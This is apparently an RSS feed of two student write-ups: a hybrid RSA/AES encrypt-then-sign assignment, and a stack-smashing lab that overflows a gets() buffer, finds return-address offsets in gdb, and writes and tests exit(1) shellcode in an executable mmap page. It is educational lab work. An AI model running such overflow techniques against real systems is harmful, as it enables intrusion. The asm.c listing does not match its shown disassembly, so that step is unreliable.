<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: 134A6_Thoughts</title>
    <description>The latest articles on Forem by 134A6_Thoughts (@acchanli).</description>
    <link>https://forem.com/acchanli</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3760057%2Ff48a8124-8978-496c-9102-7740355fd107.jpg</url>
      <title>Forem: 134A6_Thoughts</title>
      <link>https://forem.com/acchanli</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/acchanli"/>
    <language>en</language>
    <item>
      <title>MP2 RSA-OAEP Authenticated Encryption (Encrypt-then-Sign)</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Sat, 25 Apr 2026 10:11:40 +0000</pubDate>
      <link>https://forem.com/acchanli/mp2-rsa-oaep-authenticated-encryption-encrypt-then-sign-4df5</link>
      <guid>https://forem.com/acchanli/mp2-rsa-oaep-authenticated-encryption-encrypt-then-sign-4df5</guid>
      <description>&lt;h2&gt;
  
  
  Starting out
&lt;/h2&gt;

&lt;p&gt;When we first sat down with the spec, the sentence that stuck with us was:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Note that RSA isn't really meant to encrypt plaintext, but you'll have to find a way to get it to do that."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That single line ended up shaping almost every decision we made. It told us the assignment wasn't really about getting RSA to swallow 140 characters — it was about recognizing &lt;em&gt;why&lt;/em&gt; you shouldn't, and reaching for the pattern that real systems use instead.&lt;/p&gt;

&lt;p&gt;We split the work loosely: &lt;strong&gt;Akhy&lt;/strong&gt; took the key-generation and trusted-directory layout, &lt;strong&gt;Lars&lt;/strong&gt; owned the encryption/signing pipeline, and &lt;strong&gt;Carl&lt;/strong&gt; handled the CLI, the sample files, and hammering on edge cases. Anything involving padding parameters (OAEP, PSS, MGF1, salt lengths) we did together, because those are the kinds of details that silently compile and silently break security.&lt;/p&gt;

&lt;h2&gt;
  
  
  The first attempt — and why we threw it away
&lt;/h2&gt;

&lt;p&gt;Our first version did the literal thing: &lt;strong&gt;RSA-OAEP directly on the plaintext&lt;/strong&gt;, then sign the resulting ciphertext with the other keypair. And honestly… it worked. RSA-2048 with OAEP-SHA256 has room for about 190 bytes of plaintext, so 140 ASCII characters fits comfortably. Roundtrip passed. Tampering got detected. On paper, we were done.&lt;/p&gt;

&lt;p&gt;But sitting with it, it felt like we had solved the &lt;em&gt;letter&lt;/em&gt; of the spec and missed the &lt;em&gt;point&lt;/em&gt;. The hint was practically waving at us. We also noticed that our "solution" would silently break the moment anyone tried a 141st character, because the failure would come from the RSA padding layer rather than our own input validation — an ugly coupling between message length and the choice of cipher.&lt;/p&gt;

&lt;p&gt;So we rewrote it as &lt;strong&gt;hybrid encryption&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generate a fresh 32-byte AES-256 session key and a 12-byte GCM nonce per message.&lt;/li&gt;
&lt;li&gt;Encrypt the plaintext with &lt;strong&gt;AES-256-GCM&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Wrap &lt;em&gt;only&lt;/em&gt; the session key with &lt;strong&gt;RSA-OAEP&lt;/strong&gt; (SHA-256 + MGF1-SHA-256).&lt;/li&gt;
&lt;li&gt;Bundle &lt;code&gt;{encrypted_key, nonce, ciphertext}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sign the canonical JSON of that bundle with &lt;strong&gt;RSA-PSS&lt;/strong&gt; (SHA-256, MAX_LENGTH salt).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That's the same shape TLS, PGP, and S/MIME all use, and crucially, the length constraint now lives in our validation code — not in the cipher.&lt;/p&gt;

&lt;h2&gt;
  
  
  Design decisions we argued about
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Encrypt-then-sign vs. sign-then-encrypt.&lt;/strong&gt; The spec mandated encrypt-then-sign, but we spent time making sure we actually understood &lt;em&gt;why&lt;/em&gt;. The argument that landed for us: signing the ciphertext binds the sender's identity to the exact bytes that were transmitted, which blocks &lt;strong&gt;surreptitious-forwarding&lt;/strong&gt; — a malicious recipient peeling off the signature, re-encrypting the plaintext under a third party's public key, and making it look like the original sender was talking to them all along. Sign-then-encrypt doesn't catch that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two keypairs, not one.&lt;/strong&gt; The spec required it, but writing &lt;code&gt;_enc_private.pem&lt;/code&gt; and &lt;code&gt;_sig_private.pem&lt;/code&gt; as separate files (and loading them through separate functions) gave us a free guarantee: our code physically cannot confuse a signing key with an encryption key. That's a small architectural payoff we didn't expect going in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What exactly gets signed.&lt;/strong&gt; We landed on &lt;code&gt;json.dumps(enc_bundle, sort_keys=True)&lt;/code&gt; as the canonical form. Since every value inside is base64-encoded, there's no Unicode escape ambiguity, and &lt;code&gt;sort_keys=True&lt;/code&gt; removes any dependency on Python's dict iteration order. That made the sign/verify boundary deterministic without us having to do any byte-level gymnastics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why AES-GCM and not AES-CBC + HMAC.&lt;/strong&gt; GCM gives us authenticated encryption in a single primitive. Combined with the outer RSA-PSS signature, we end up with two independent integrity checks on the ciphertext — a belt-and-suspenders property we liked.&lt;/p&gt;

&lt;h2&gt;
  
  
  What worked
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;pyca/cryptography&lt;/code&gt;&lt;/strong&gt; did all the heavy lifting — OAEP, PSS, AES-GCM, PEM serialization. No hand-rolled crypto, as the spec required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tamper detection fires at the right layer.&lt;/strong&gt; When we flipped a single byte of the ciphertext during testing, verification failed at the &lt;em&gt;signature&lt;/em&gt; step, before we ever touched the recipient's private key. That's the whole point of encrypt-then-sign, and it was satisfying to watch it actually behave that way.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input validation runs before any crypto.&lt;/strong&gt; The 140-character limit and ASCII check happen first, so bad input fails fast with a clear &lt;code&gt;ValueError&lt;/code&gt; instead of bubbling up as a confusing padding error from deep inside the library.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The "trusted directory" is dead simple.&lt;/strong&gt; A local &lt;code&gt;keys/&lt;/code&gt; folder + a &lt;code&gt;list-keys&lt;/code&gt; command. It's not PKI, but it's an honest model of what a trusted directory &lt;em&gt;is&lt;/em&gt; at its core: a place where public keys live, addressed by identity.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Limitations we're aware of
&lt;/h2&gt;

&lt;p&gt;We want to call these out explicitly rather than pretend the implementation is production-ready.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No replay protection.&lt;/strong&gt; A captured valid bundle can be resent and will still verify. A production version would need a per-recipient seen-nonce set or a timestamp window baked into the signed payload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No sender/recipient binding inside the signature.&lt;/strong&gt; Right now the signature covers &lt;code&gt;{encrypted_key, nonce, ciphertext}&lt;/code&gt; but not the &lt;code&gt;sender&lt;/code&gt;/&lt;code&gt;recipient&lt;/code&gt; identity fields in the outer JSON. That means an attacker who intercepted a bundle couldn't forge a new one, but they could conceivably relabel the outer envelope. We'd fix this by pulling identities into the signed bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private keys on disk are unencrypted&lt;/strong&gt; (&lt;code&gt;NoEncryption()&lt;/code&gt;). Fine for a demo; a real deployment should password-encrypt them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No key revocation or rotation.&lt;/strong&gt; Once a key is in the directory, it's trusted forever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CLI surfaces Python tracebacks&lt;/strong&gt; on failure instead of friendly one-liners. We left it that way because it made failures easier to debug during development, but a production CLI should catch at the top level and exit cleanly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Trusted directory" is trust-by-filesystem.&lt;/strong&gt; No CA, no signatures on the public keys themselves. Good enough for this MP, not for the internet.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What we'd do next
&lt;/h2&gt;

&lt;p&gt;If we kept going, the next pass would be: (1) fold &lt;code&gt;sender&lt;/code&gt; and &lt;code&gt;recipient&lt;/code&gt; into what gets signed, (2) add a password-protected keystore, (3) add replay protection via a per-recipient nonce registry, and (4) clean up the CLI so errors surface as single-line messages with nonzero exit codes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we took away
&lt;/h2&gt;

&lt;p&gt;The biggest lesson was that the &lt;em&gt;hard&lt;/em&gt; parts of applied crypto aren't the math — it's knowing which primitive to reach for, which layer binds what to what, and what your threat model actually is. The libraries are excellent; the thinking is the work. The second lesson was more practical: write the input validation &lt;em&gt;before&lt;/em&gt; the crypto, always. It turns a whole class of obscure library errors into ordinary, debuggable application errors.&lt;/p&gt;

&lt;p&gt;We finished the assignment with a program that's ~250 lines, uses only well-tested primitives, and fails safely in every case we could think of to test. That felt like the right outcome.&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>MP1 Write‑Up – Stack Smashing</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Wed, 11 Mar 2026 10:15:23 +0000</pubDate>
      <link>https://forem.com/acchanli/mp1-write-up-stack-smashing-9hk</link>
      <guid>https://forem.com/acchanli/mp1-write-up-stack-smashing-9hk</guid>
      <description>&lt;p&gt;We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Getting the basic overflow working
&lt;/h2&gt;

&lt;p&gt;We started from the given vuln.c:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We compiled it exactly as the MP1 handout said:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-mpreferred-stack-boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-ggdb&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; execstack &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 vuln.c &lt;span class="nt"&gt;-o&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First goal: just smash the stack and see where things land. We generated a dummy payload:&lt;/p&gt;

&lt;p&gt;python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;B&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inside gdb:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb vuln
(gdb) break vuln
(gdb) run &amp;lt; egg
(gdb) print &amp;amp;buffer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We saw:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$1 = (char (*)[8]) 0xffffc838
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and after stepping past gets and dumping the stack:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) next
(gdb) x/16xb &amp;amp;buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the layout was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] at 0xffffc838 → 8 bytes of 'A'&lt;/li&gt;
&lt;li&gt;saved EBP at 0xffffc840 → BBBB&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;saved EIP at 0xffffc844 → CCCC&lt;br&gt;
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Building and testing the exit(1) shellcode
&lt;/h2&gt;

&lt;p&gt;We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;eax = 1 (sys_exit)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ebx = 1 (exit status)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;int 0x80&lt;br&gt;
We wrote asm.c alike the instructions:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;__asm__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"xor %eax, %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"inc %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"mov %eab, %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"Leave;"&lt;/span&gt;
&lt;span class="s"&gt;"Ret;"&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiled and disassembled:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 asm.c &lt;span class="nt"&gt;-o&lt;/span&gt; asm
objdump &lt;span class="nt"&gt;-d&lt;/span&gt; asm &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; asmdump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relevant disassembly showed:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;c0&lt;/span&gt;          &lt;span class="nv"&gt;xor&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;40&lt;/span&gt;             &lt;span class="nf"&gt;inc&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;89&lt;/span&gt; &lt;span class="nf"&gt;c3&lt;/span&gt;          &lt;span class="nv"&gt;mov&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="nf"&gt;b8&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="nv"&gt;mov&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;cd&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;          &lt;span class="nv"&gt;int&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the shellcode bytes we care about are:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.&lt;br&gt;
At first, we wrote:&lt;br&gt;
c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x31&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xc0"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x40"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x89&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xc3"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xb8&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x01&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xcd&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x80"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.&lt;br&gt;
We fixed it by using proper C escape sequences (one backslash):&lt;br&gt;
c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// test_shellcode.c&lt;/span&gt;
&lt;span class="cp"&gt;#define _GNU_SOURCE
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// exit(1) shellcode&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x40&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x89\xc3&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xb8\x01\x00\x00\x00&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xcd\x80&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sysconf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_SC_PAGESIZE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;PROT_READ&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PROT_WRITE&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PROT_EXEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;MAP_PRIVATE&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MAP_ANONYMOUS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiled it:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; test_shellcode.c &lt;span class="nt"&gt;-o&lt;/span&gt; test_shellcode
./test_shellcode
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



